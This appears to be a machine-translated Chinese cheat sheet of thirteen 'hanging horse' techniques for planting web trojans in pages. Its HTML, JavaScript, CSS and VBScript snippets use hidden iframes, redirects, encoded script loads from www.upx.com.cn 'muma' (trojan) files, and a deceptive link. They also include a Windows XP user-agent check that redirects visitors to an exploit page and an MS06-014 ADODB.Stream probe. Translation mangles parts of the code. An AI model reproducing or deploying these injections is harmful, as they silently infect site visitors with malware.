A: Frame hanging horse
<iframe src= Address width=0 height=0></iframe>
Two: JS file hanging Horse
First put the following code
document.write ("<iframe width= ' 0 ' height= ' 0 ' src= ' address ' ></iframe>");
Save As Xxx.js,
Then JS hanging Horse code for
<script Language=javascript src=xxx.js></script>
Three: JS Distortion encryption
<script language= "Jscript.encode" src=http://www.upx.com.cn/muma.txt></script>
Muma.txt can be changed to any suffix
Four: Body Hanging horse
<body onload= "window.location= ' address ';" ></body>
V: Concealed horse-hanging
Top.document.body.innerHTML = Top.document.body.innerHTML + ' \r\n<iframe src= "http://www.upx.com.cn/muma.htm/" ></iframe> ';
VI: Hanging horse in CSS
Body {
Background-image:url (' Javascript:document.write ("<script src=http://www.upx.com.cn/muma.js></script > ")}
Seven: Jaja Hanging Horse
<script language=javascript>
window.open ("Address", "", "Toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1 ");
</script>
Eight: Picture camouflage
<iframe src= "net horse address" height=0 width=0></iframe>
</center>
Nine: Masquerade Call:
<frameset rows= "444,0" cols= "*" >
<frame src= "Open page" framborder= "no" scrolling= "Auto" noresize marginwidth= "0" margingheight= "0" >
<frame src= "net horse Address" frameborder= "no" scrolling= "no" noresize marginwidth= "0" margingheight= "0" >
</frameset>
Ten: Advanced Deception
<a href= "http://www.163.com (confusing connection address, show this address pointing to the Trojan address)" onmouseover= "www_163_com (); return true; " > What to display on the page </a>
<script language= "JavaScript" >
function www_163_com ()
{
var url= "net horse address";
Open (URL, "NewWindow", "Toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no, Copyhistory=yes,width=800,height=600,left=10,top=10 ");
}
</SCRIPT>
11: Judging the system code
<! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 transitional//en" >
<HTML><HEAD><TITLE>404</TITLE>
<meta http-equiv=content-type content= "text/html; charset=windows-1252 ">
<meta content= "MSHTML 6.00.2900.2769" name=generator><BODY>
<script language=javascript>
Window.status= "";
if (Navigator.userAgent.indexOf ("Windows NT 5.1")! =-1)
Window.location.href= "tk.htm";
Else
Window.location.href= "upx06014.htm";
</SCRIPT>
</BODY></HTML>
12: Determine if there is ms06014 code
<script language=vbscript>
On Error Resume Next
Set server = Document.createelement ("Object")
Server.setattribute "ClassID", "clsid:10072cec-8cc1-11d1-986e-00a0c955b42e"
Set File = Server.CreateObject (ADODB.stream, "")
If not Err.Number = 0 Then
Err.Clear
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
Else
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
End If
</script>
13: Smart Read JS code demo
Read the object of marrying Src
var v = document.getElementById ("Advjs");
Parameters for reading and marrying Src
var u_num = geturlparameteradv ("Showmatrix_num", V.getattribute (' src '));
document.write ("<iframe src=\" http://www.upx.com.cn/1/"+u_num+". Htm\ "width=\" 0\ "height=\" 0\ "frameborder=\" 0\ "></iframe>");
Document.writeln ("<! DOCTYPE HTML public \ "-\/\/W3C\/\/DTD HTML 4.0 transitional\/\/en\" > ");
Document.writeln ("<HTML><HEAD>");
Document.writeln ("<meta http-equiv=content-type content=\" text\/html; charset=big5\ ">");
Document.writeln ("<meta content=\" MSHTML 6.00.2900.3059\ "name=generator><\/head>");
Document.writeln ("<BODY>");
Document.writeln ("<div style=\" Cursor:url (\ ' http:\/\/www.upx.com.cn\/demo.js\ ') \ ">");
Document.writeln ("<div");
Document.writeln ("style=\" Cursor:url (\ ' http:\/\/www.upx.com.cn\/demo.js\ ') \ "><\/DIV><\/DIV>< \/body><\/html> ")
Analysis of parameter functions of SRC
function Geturlparameteradv (asname,lsurl) {
LoU = Lsurl.split ("?");
if (lou.length>1) {
var LOALLPM = Lou[1].split ("&");
for (var i=0; i<loallpm.length; i++) {
var lopm = loallpm.split ("=");
if (lopm[0]==asname) {
if (lopm.length>1) {
return lopm[1];
}else{
Return "";
}
}
}
}
return null;
